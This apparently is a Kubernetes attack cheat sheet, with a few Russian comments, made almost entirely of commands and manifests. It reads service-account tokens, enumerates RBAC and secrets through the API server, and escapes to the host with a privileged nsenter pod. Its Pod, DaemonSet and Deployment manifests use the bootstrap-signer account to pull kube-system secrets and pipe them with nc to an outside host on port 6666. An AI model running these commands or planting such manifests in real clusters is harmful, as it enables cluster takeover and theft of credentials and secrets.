kubectl get secrets

kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify=true

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
# Лишняя строка, но можно использовать с curl --cacert ${CACERT}
# export CACERT=${SERVICEACCOUNT}/ca.crt

curl -k --header "Authorization: Bearer ${TOKEN}"

kubectl config view

kubectl config get-users
kubectl config view -o jsonpath='{.users[*].name}'

kubectl config unset users.foo

kubectl config get-contexts

kubectl config current-context

kubectl config use-context my-cluster-name

kubectl config set-context --current --namespace=ggckad-s2

/run/secrets/kubernetes.io/serviceaccount
/var/run/secrets/kubernetes.io/serviceaccount
/secrets/kubernetes.io/serviceaccount

(env | set) | grep -i "kuber|kube"

# Весь список привилегий
kubectl get rolebindings,clusterrolebindings --all-namespaces -o custom-columns='KIND:kind,NAMESPACE:metadata.namespace,NAME:metadata.name,SERVICE_ACCOUNTS:subjects[?(@.kind=="ServiceAccount")].name' | grep service_account_name

curl -s $APISERVER/apis/rbac.authorization.k8s.io/v1/clusterrolebindings?limit=500 --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt
# удачи парсить:)

kubectl get role system:controller:bootstrap-signer -n kube-system -o yaml

# Текущие привилегии
kubectl auth can-i --list
## use `--as=system:serviceaccount:<namespace>:<sa_name>` to impersonate a service account

# Список ролей кластера
kubectl get clusterroles
kubectl describe clusterroles

# Список Cluster Roles Bindings
kubectl get clusterrolebindings
kubectl describe clusterrolebindings

# Список ролей
kubectl get roles
kubectl describe roles

# Список Role Buildings
kubectl get rolebindings
kubectl describe rolebindings

kubectl get secrets

curl -s $APISERVER/api/v1/secrets/ --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt

curl -s $APISERVER/api/v1/namespaces/kube-system/secrets/ --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt

drakylalr-admin-token-sgjbp

kubectl get secrets secret_name -o yaml

curl -s $APISERVER/api/v1/namespaces/default/secrets/drakylar-admin-token-sgjbp --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt

apiVersion: v1
kind: Pod
metadata:
  name: alpine
  namespace: kube-system
spec:
  containers:
  - name: alpine
    image: alpine
    command: ["/bin/sh"]
    args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
    volumeMounts:
    - mountPath: /host
      name: host-volume
  restartPolicy: Never
  hostIPC: true
  hostNetwork: true
  hostPID: true
  serviceAccountName: bootstrap-signer
  automountServiceAccountToken: true
  volumes:
  - name: host-volume
    hostPath:
      path: /

kubectl apply -f malicious-pod.yaml

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

{
    "apiVersion": "v1",
    "kind": "Pod",
    "metadata": {
        "name": "alpine"
    },
    "spec": {
        "restartPolicy": true,
        "hostIPC": true,
        "hostNetwork": true,
        "hostPID": true,
        "volumes": [
            {
                "name": "host-volume",
                "hostPath": {
                    "path": "/"
                }
            }
        ],
        "containers": [
            {
                "name": "alpine",
                "image": "alpine",
                "commands": ["/bin/sh"],
                "args": ["-c", "apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000"],
                "serviceAccountName" : "bootstrap-signer",
                "automountServiceAccountToken": true,
                "hostNetwork": true,
                "imagePullPolicy": "IfNotPresent",
                "securityContext": {
                    "allowPrivilegeEscalation": true,
                    "privileged": true,
                    "runAsUser": 0
                },
                "volumesMount": [
                    {
                        "mountPath": "/host",
                        "name": "host-volume"
                    }
                ]                  
            }
        ]
    }
}

curl -v -s $APISERVER/api/v1/namespaces/default/pods -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json

apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: alpine
  namespace: kube-system
spec:
  selector:
    matchLabels:
      name: alpine
  template:
    metadata:
      labels:
        name: alpine
    spec:
      serviceAccountName: bootstrap-signer
      automountServiceAccountToken: true
      hostNetwork: true
      containers:
      - name: alpine
        image: alpine
        command: ["/bin/sh"]
        args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']

kubectl apply -f malicious-pod.yaml

{
  "apiVersion": "apps/v1",
  "kind": "DaemonSet",
  "metadata": {
    "name": "alpine",
    "namespace": "kube-system"
  },
  "spec": {
    "selector": {
      "matchLabels": {
        "name": "alpine"
      }
    },
    "template": {
      "metadata": {
        "labels": {
          "name": "alpine"
        }
      },
      "spec": {
        "serviceAccountName": "bootstrap-signer",
        "automountServiceAccountToken": true,
        "hostNetwork": true,
        "containers": [
          {
            "name": "alpine",
            "image": "alpine",
            "command": [
              "/bin/sh"
            ],
            "args": [
              "-c",
              "apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000"
            ]
          }
        ]
      }
    }
  }
}

curl -v -s $APISERVER/apis/apps/v1/namespaces/kube-system/daemonsets?fieldManager=kubectl-client-side-apply -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json

apiVersion: apps/v1
kind: Deployment
metadata:
  name: alpine
  namespace: kube-system
spec:
  replicas: 1
  selector:
    matchLabels:
      app: alpine
  template:
    metadata:
      labels:
        app: alpine
    spec:
      serviceAccountName: bootstrap-signer
      automountServiceAccountToken: true
      hostNetwork: true
      containers:
      - name: alpine
        image: alpine
        command: ["/bin/sh"]
        args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']

kubectl apply -f malicious-deployment.yaml

{
  "apiVersion": "apps/v1",
  "kind": "Deployment",
  "metadata": {
    "name": "alpine",
    "namespace": "kube-system"
  },
  "spec": {
    "replicas": 1,
    "selector": {
      "matchLabels": {
        "app": "alpine"
      }
    },
    "template": {
      "metadata": {
        "labels": {
          "app": "alpine"
        }
      },
      "spec": {
        "serviceAccountName": "bootstrap-signer",
        "automountServiceAccountToken": true,
        "hostNetwork": true,
        "containers": [
          {
            "name": "alpine",
            "image": "alpine",
            "command": [
              "/bin/sh"
            ],
            "args": [
              "-c",
              "apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000"
            ]
          }
        ]
      }
    }
  }
}

curl -v -s $APISERVER/apis/apps/v1/namespaces/kube-system/deployments?fieldManager=kubectl-client-side-apply -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json